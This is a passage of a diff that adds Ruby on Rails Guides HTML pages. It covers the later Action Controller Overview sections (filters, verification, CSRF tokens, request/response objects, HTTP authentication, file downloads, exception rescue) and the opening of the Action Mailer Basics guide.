+    raise
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="other-ways-to-use-filters">7.2 Other Ways to Use Filters</h4>
+<p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p>
+<p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  before_filter do |controller|
+    redirect_to new_login_url unless controller.send(:logged_in?)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p>
+<p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  before_filter LoginFilter
+end
+
+class LoginFilter
+  def self.filter(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = &quot;You must be logged in&quot;
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Again, this is not an ideal example for this filter, because it&#8217;s not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method <tt>filter</tt> which gets run before or after the action, depending on if it&#8217;s a before or after filter. Classes used as around filters can also use the same <tt>filter</tt> method, which will get run in the same way. The method must <tt>yield</tt> to execute the action. Alternatively, it can have both a <tt>before</tt> and an <tt>after</tt> method that are run before and after the action.</p>
+<p>The Rails <span class="caps">API</span> documentation has <a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html">more information on using filters</a>.</p>
+<h3 id="verification">8 Verification</h3>
+<p>Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the <tt>params</tt>, <tt>session</tt> or <tt>flash</tt> hashes or that a certain <span class="caps">HTTP</span> method was used or that the request was made using <tt>XMLHttpRequest</tt> (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect <span class="caps">URL</span> or rendering something else and you can also add flash messages and <span class="caps">HTTP</span> headers to the response. It is described in the <a href="http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html"><span class="caps">API</span> documentation</a> as &#8220;essentially a special kind of before_filter&#8221;.</p>
+<p>Here&#8217;s an example of using verification to make sure the user supplies a username and a password in order to log in:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  verify :params =&gt; [:username, :password],
+         :render =&gt; {:action =&gt; &quot;new&quot;},
+         :add_flash =&gt; {
+           :error =&gt; &quot;Username and password required to log in&quot;
+         }
+
+  def create
+    @user = User.authenticate(params[:username], params[:password])
+    if @user
+      flash[:notice] = &quot;You're logged in&quot;
+      redirect_to root_url
+    else
+      render :action =&gt; &quot;new&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now the <tt>create</tt> action won&#8217;t run unless the &#8220;username&#8221; and &#8220;password&#8221; parameters are present, and if they&#8217;re not, an error message will be added to the flash and the <tt>new</tt> action will be rendered. But there&#8217;s something rather important missing from the verification above: It will be used for <strong>every</strong> action in LoginsController, which is not what we want. You can limit which actions it will be used for with the <tt>:only</tt> and <tt>:except</tt> options just like a filter:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class LoginsController &lt; ApplicationController
+  verify :params =&gt; [:username, :password],
+         :render =&gt; {:action =&gt; &quot;new&quot;},
+         :add_flash =&gt; {
+           :error =&gt; &quot;Username and password required to log in&quot;
+         },
+         :only =&gt; :create # Run only for the &quot;create&quot; action
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="request-forgery-protection">9 Request Forgery Protection</h3>
+<p>Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user&#8217;s knowledge or permission.</p>
+<p>The first step to avoid this is to make sure all &#8220;destructive&#8221; actions (create, update and destroy) can only be accessed with non-<span class="caps">GET</span> requests. If you&#8217;re following RESTful conventions you&#8217;re already doing this. However, a malicious site can still send a non-<span class="caps">GET</span> request to your site quite easily, and that&#8217;s where the request forgery protection comes in. As the name says, it protects from forged requests.</p>
+<p>The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.</p>
+<p>If you generate a form like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= form_for @user do |f| %&gt;
+  &lt;%= f.text_field :username %&gt;
+  &lt;%= f.text_field :password %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You will see how the token gets added as a hidden field:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/users/1&quot; method=&quot;post&quot;&gt;
+&lt;input type=&quot;hidden&quot;
+       value=&quot;67250ab105eb5ad10851c00a5621854a23af5489&quot;
+       name=&quot;authenticity_token&quot;/&gt;
+&lt;!-- fields --&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Rails adds this token to every form that&#8217;s generated using the <a href="form_helpers.html">form helpers</a>, so most of the time you don&#8217;t have to worry about it. If you&#8217;re writing a form manually or need to add the token for another reason, it&#8217;s available through the method <tt>form_authenticity_token</tt>:</p>
+<p>The <tt>form_authenticity_token</tt> generates a valid authentication token. That&#8217;s useful in places where Rails does not add it automatically, like in custom Ajax calls.</p>
+<p>The <a href="security.html">Security Guide</a> has more about this and a lot of other security-related issues that you should be aware of when developing a web application.</p>
+<h3 id="the-request-and-response-objects">10 The Request and Response Objects</h3>
+<p>In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The <tt>request</tt> method contains an instance of <tt>AbstractRequest</tt> and the <tt>response</tt> method returns a response object representing what is going to be sent back to the client.</p>
+<h4 id="the-request-object">10.1 The <tt>request</tt> Object</h4>
+<p>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the <a href="http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html"><span class="caps">API</span> documentation</a>. Among the properties that you can access on this object are:</p>
+<table>
+	<tr>
+		<th>Property of <tt>request</tt></th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td>host</td>
+		<td>The hostname used for this request.</td>
+	</tr>
+	<tr>
+		<td>domain(n=2)</td>
+		<td>The hostname&#8217;s first <tt>n</tt> segments, starting from the right (the <span class="caps">TLD</span>).</td>
+	</tr>
+	<tr>
+		<td>format</td>
+		<td>The content type requested by the client.</td>
+	</tr>
+	<tr>
+		<td>method</td>
+		<td>The <span class="caps">HTTP</span> method used for the request.</td>
+	</tr>
+	<tr>
+		<td>get?, post?, put?, delete?, head?</td>
+		<td>Returns true if the <span class="caps">HTTP</span> method is <span class="caps">GET</span>/<span class="caps">POST</span>/<span class="caps">PUT</span>/<span class="caps">DELETE</span>/<span class="caps">HEAD</span>.</td>
+	</tr>
+	<tr>
+		<td>headers</td>
+		<td>Returns a hash containing the headers associated with the request.</td>
+	</tr>
+	<tr>
+		<td>port</td>
+		<td>The port number (integer) used for the request.</td>
+	</tr>
+	<tr>
+		<td>protocol</td>
+		<td>Returns a string containing the protocol used plus &#8220;://&#8221;, for example &#8220;http://&#8221;.</td>
+	</tr>
+	<tr>
+		<td>query_string</td>
+		<td>The query string part of the <span class="caps">URL</span>, i.e., everything after &#8220;?&#8221;.</td>
+	</tr>
+	<tr>
+		<td>remote_ip</td>
+		<td>The IP address of the client.</td>
+	</tr>
+	<tr>
+		<td>url</td>
+		<td>The entire <span class="caps">URL</span> used for the request.</td>
+	</tr>
+</table>
+<h5 id="path_parameters-query_parameters-and-request_parameters">10.1.1 <tt>path_parameters</tt>, <tt>query_parameters</tt>, and <tt>request_parameters</tt></h5>
+<p>Rails collects all of the parameters sent along with the request in the <tt>params</tt> hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The <tt>query_parameters</tt> hash contains parameters that were sent as part of the query string while the <tt>request_parameters</tt> hash contains parameters sent as part of the post body. The <tt>path_parameters</tt> hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.</p>
+<h4 id="the-response-object">10.2 The <tt>response</tt> Object</h4>
+<p>The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes &#8211; like in an after filter &#8211; it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.</p>
+<table>
+	<tr>
+		<th>Property of <tt>response</tt></th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td>body</td>
+		<td>This is the string of data being sent back to the client. This is most often <span class="caps">HTML</span>.</td>
+	</tr>
+	<tr>
+		<td>status</td>
+		<td>The <span class="caps">HTTP</span> status code for the response, like 200 for a successful request or 404 for file not found.</td>
+	</tr>
+	<tr>
+		<td>location</td>
+		<td>The <span class="caps">URL</span> the client is being redirected to, if any.</td>
+	</tr>
+	<tr>
+		<td>content_type</td>
+		<td>The content type of the response.</td>
+	</tr>
+	<tr>
+		<td>charset</td>
+		<td>The character set being used for the response. Default is &#8220;utf-8&#8221;.</td>
+	</tr>
+	<tr>
+		<td>headers</td>
+		<td>Headers used for the response.</td>
+	</tr>
+</table>
+<h5 id="setting-custom-headers">10.2.1 Setting Custom Headers</h5>
+<p>If you want to set custom headers for a response then <tt>response.headers</tt> is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to <tt>response.headers</tt> this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+response.headers[&quot;Content-Type&quot;] = &quot;application/pdf&quot;
+</pre>
+</div>
+</notextile>
+
+<h3 id="http-authentications">11 <span class="caps">HTTP</span> Authentications</h3>
+<p>Rails comes with two built-in <span class="caps">HTTP</span> authentication mechanisms:</p>
+<ul>
+	<li>Basic Authentication</li>
+	<li>Digest Authentication</li>
+</ul>
+<h4 id="http-basic-authentication">11.1 <span class="caps">HTTP</span> Basic Authentication</h4>
+<p><span class="caps">HTTP</span> basic authentication is an authentication scheme that is supported by the majority of browsers and other <span class="caps">HTTP</span> clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser&#8217;s <span class="caps">HTTP</span> basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, <tt>authenticate_or_request_with_http_basic</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AdminController &lt; ApplicationController
+  USERNAME, PASSWORD = &quot;humbaba&quot;, &quot;5baa61e4&quot;
+
+  before_filter :authenticate
+
+  private
+
+  def authenticate
+    authenticate_or_request_with_http_basic do |username, password|
+      username == USERNAME &amp;&amp;
+      Digest::SHA1.hexdigest(password) == PASSWORD
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this in place, you can create namespaced controllers that inherit from <tt>AdminController</tt>. The before filter will thus be run for all actions in those controllers, protecting them with <span class="caps">HTTP</span> basic authentication.</p>
+<h4 id="http-digest-authentication">11.2 <span class="caps">HTTP</span> Digest Authentication</h4>
+<p><span class="caps">HTTP</span> digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though <span class="caps">HTTP</span> basic authentication is safe over <span class="caps">HTTPS</span>). Using digest authentication with Rails is quite easy and only requires using one method, <tt>authenticate_or_request_with_http_digest</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AdminController &lt; ApplicationController
+  USERS = { &quot;lifo&quot; =&gt; &quot;world&quot; }
+
+  before_filter :authenticate
+
+  private
+
+  def authenticate
+    authenticate_or_request_with_http_digest do |username|
+      USERS[username]
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>As seen in the example above, the <tt>authenticate_or_request_with_http_digest</tt> block takes only one argument &#8211; the username. And the block returns the password. Returning <tt>false</tt> or <tt>nil</tt> from the <tt>authenticate_or_request_with_http_digest</tt> will cause authentication failure.</p>
+<h3 id="streaming-and-file-downloads">12 Streaming and File Downloads</h3>
+<p>Sometimes you may want to send a file to the user instead of rendering an <span class="caps">HTML</span> page. All controllers in Rails have the <tt>send_data</tt> and the <tt>send_file</tt> methods, which will both stream data to the client. <tt>send_file</tt> is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.</p>
+<p>To stream data to the client, use <tt>send_data</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require &quot;prawn&quot;
+class ClientsController &lt; ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              :filename =&gt; &quot;#{client.name}.pdf&quot;,
+              :type =&gt; &quot;application/pdf&quot;
+  end
+
+  private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align =&gt; :center
+      text &quot;Address: #{client.address}&quot;
+      text &quot;Email: #{client.email}&quot;
+    end.render
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>download_pdf</tt> action in the example above will call a private method which actually generates the <span class="caps">PDF</span> document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into <span class="caps">HTML</span> pages. To tell the browser a file is not meant to be downloaded, you can set the <tt>:disposition</tt> option to &#8220;inline&#8221;. The opposite and default value for this option is &#8220;attachment&#8221;.</p>
+<h4 id="sending-files">12.1 Sending Files</h4>
+<p>If you want to send a file that already exists on disk, use the <tt>send_file</tt> method.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ClientsController &lt; ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file(&quot;#{Rails.root}/files/clients/#{client.id}.pdf&quot;,
+              :filename =&gt; &quot;#{client.name}.pdf&quot;,
+              :type =&gt; &quot;application/pdf&quot;)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the <tt>:stream</tt> option or adjust the block size with the <tt>:buffer_size</tt> option.</p>
+<div class='warning'><p>Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.</p></div>
+<div class='info'><p>It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the <tt>:x_sendfile</tt> option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the <tt>X-Sendfile</tt> header for this to work.</p></div>
+<h4 id="restful-downloads">12.2 RESTful Downloads</h4>
+<p>While <tt>send_data</tt> works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In <span class="caps">REST</span> terminology, the <span class="caps">PDF</span> file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing &#8220;RESTful downloads&#8221;. Here&#8217;s how you can rewrite the example so that the <span class="caps">PDF</span> download is a part of the <tt>show</tt> action, without any streaming:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ClientsController &lt; ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render :pdf =&gt; generate_pdf(@client) }
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>In order for this example to work, you have to add the <span class="caps">PDF</span> <span class="caps">MIME</span> type to Rails. This can be done by adding the following line to the file <tt>config/initializers/mime_types.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Mime::Type.register &quot;application/pdf&quot;, :pdf
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.</p></div>
+<p>Now the user can request to get a <span class="caps">PDF</span> version of a client just by adding &#8220;.pdf&#8221; to the <span class="caps">URL</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+GET /clients/1.pdf
+</pre>
+</div>
+</notextile>
+
+<h3 id="parameter-filtering">13 Parameter Filtering</h3>
+<p>Rails keeps a log file for each environment in the <tt>log</tt> folder. These are extremely useful when debugging what&#8217;s actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The <tt>filter_parameter_logging</tt> method can be used to filter out sensitive information from the log. It works by replacing certain values in the <tt>params</tt> hash with &#8220;[<span class="caps">FILTERED</span>]&#8221; as they are written to the log. As an example, let&#8217;s see how to filter all parameters with keys that include &#8220;password&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  filter_parameter_logging :password
+end
+</pre>
+</div>
+</notextile>
+
+<p>The method works recursively through all levels of the <tt>params</tt> hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.</p>
+<h3 id="rescue">14 Rescue</h3>
+<p>Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the <tt>ActiveRecord::RecordNotFound</tt> exception.</p>
+<p>Rails&#8217; default exception handling displays a &#8220;500 Server Error&#8221; message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple &#8220;500 Server Error&#8221; message to the user, or a &#8220;404 Not Found&#8221; if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they&#8217;re displayed to the user. There are several levels of exception handling available in a Rails application:</p>
+<h4 id="the-default-500-and-404-templates">14.1 The Default 500 and 404 Templates</h4>
+<p>By default a production application will render either a 404 or a 500 error message. These messages are contained in static <span class="caps">HTML</span> files in the <tt>public</tt> folder, in <tt>404.html</tt> and <tt>500.html</tt> respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can&#8217;t use <span class="caps">RHTML</span> or layouts in them, just plain <span class="caps">HTML</span>.</p>
+<h4 id="rescue_from">14.2 <tt>rescue_from</tt></h4>
+<p>If you want to do something a bit more elaborate when catching errors, you can use <tt>rescue_from</tt>, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.</p>
+<p>When an exception occurs which is caught by a <tt>rescue_from</tt> directive, the exception object is passed to the handler. The handler can be a method or a <tt>Proc</tt> object passed to the <tt>:with</tt> option. You can also use a block directly instead of an explicit <tt>Proc</tt> object.</p>
+<p>Here&#8217;s how you can use <tt>rescue_from</tt> to intercept all <tt>ActiveRecord::RecordNotFound</tt> errors and do something with them.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, :with =&gt; :record_not_found
+
+  private
+
+  def record_not_found
+    render :text =&gt; &quot;404 Not Found&quot;, :status =&gt; 404
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Of course, this example is anything but elaborate and doesn&#8217;t improve on the default exception handling at all, but once you can catch all those exceptions you&#8217;re free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn&#8217;t have access to a certain section of your application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class ApplicationController &lt; ActionController::Base
+  rescue_from User::NotAuthorized, :with =&gt; :user_not_authorized
+
+  private
+
+  def user_not_authorized
+    flash[:error] = &quot;You don't have access to this section.&quot;
+    redirect_to :back
+  end
+end
+
+class ClientsController &lt; ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Certain exceptions are only rescuable from the <tt>ApplicationController</tt> class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik&#8217;s <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</p></div>
+<h3 id="changelog">15 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse Ticket</a></p>
+<ul>
+	<li>February 17, 2009: Yet another proofread by Xavier Noria.</li>
+</ul>
+<ul>
+	<li>November 4, 2008: First release version by Tore Darell</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/action_mailer_basics.html
@@ -0,0 +1,668 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Action Mailer Basics</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Action Mailer Basics</h2>
+<p>This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#introduction">Introduction</a></li><li><a href="#sending-emails">Sending Emails</a><ul><li><a href="#walkthrough-to-generating-a-mailer">Walkthrough to Generating a Mailer</a></li> <li><a href="#auto-encoding-header-values">Auto encoding header values</a></li> <li><a href="#complete-list-of-action-mailer-methods">Complete List of Action Mailer Methods</a></li> <li><a href="#mailer-views">Mailer Views</a></li> <li><a href="#action-mailer-layouts">Action Mailer Layouts</a></li> <li><a href="#generating-urls-in-action-mailer-views">Generating URLs in Action Mailer Views</a></li> <li><a href="#sending-multipart-emails">Sending Multipart Emails</a></li> <li><a href="#sending-emails-with-attachments">Sending Emails with Attachments</a></li></ul></li><li><a href="#receiving-emails">Receiving Emails</a></li><li><a href="#using-action-mailer-helpers">Using Action Mailer Helpers</a></li><li><a href="#action-mailer-configuration">Action Mailer Configuration</a><ul><li><a href="#example-action-mailer-configuration">Example Action Mailer Configuration</a></li> <li><a href="#action-mailer-configuration-for-gmail">Action Mailer Configuration for GMail</a></li></ul></li><li><a href="#mailer-testing">Mailer Testing</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='warning'><p>This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.</p></div>
+<h3 id="introduction">1 Introduction</h3>
+<p>Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from <tt>ActionMailer::Base</tt> and live in  <tt>app/mailers</tt>. Those mailers have associated views that appear alongside controller views in <tt>app/views</tt>.</p>
+<h3 id="sending-emails">2 Sending Emails</h3>
+<p>This section will provide a step-by-step guide to creating a mailer and its views.</p>
+<h4 id="walkthrough-to-generating-a-mailer">2.1 Walkthrough to Generating a Mailer</h4>
+<h5 id="create-the-mailer">2.1.1 Create the Mailer</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+invoke  test_unit
+create    test/functional/user_mailer_test.rb
+</pre>
+</div>
+</notextile>
+
+<p>So we got the mailer, the fixtures, and the tests.</p>
+<h5 id="edit-the-mailer">2.1.2 Edit the Mailer</h5>
+<p><tt>app/mailers/user_mailer.rb</tt> contains an empty mailer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  default :from =&gt; &quot;from@example.com&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Let&#8217;s add a method called <tt>welcome_email</tt>, that will send an email to the user&#8217;s registered email address:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class UserMailer &lt; ActionMailer::Base
+  default :from =&gt; &quot;notifications@example.com&quot;
+
+  def welcome_email(user)
+    @user = user
+    @url  = &quot;http://example.com/login&quot;
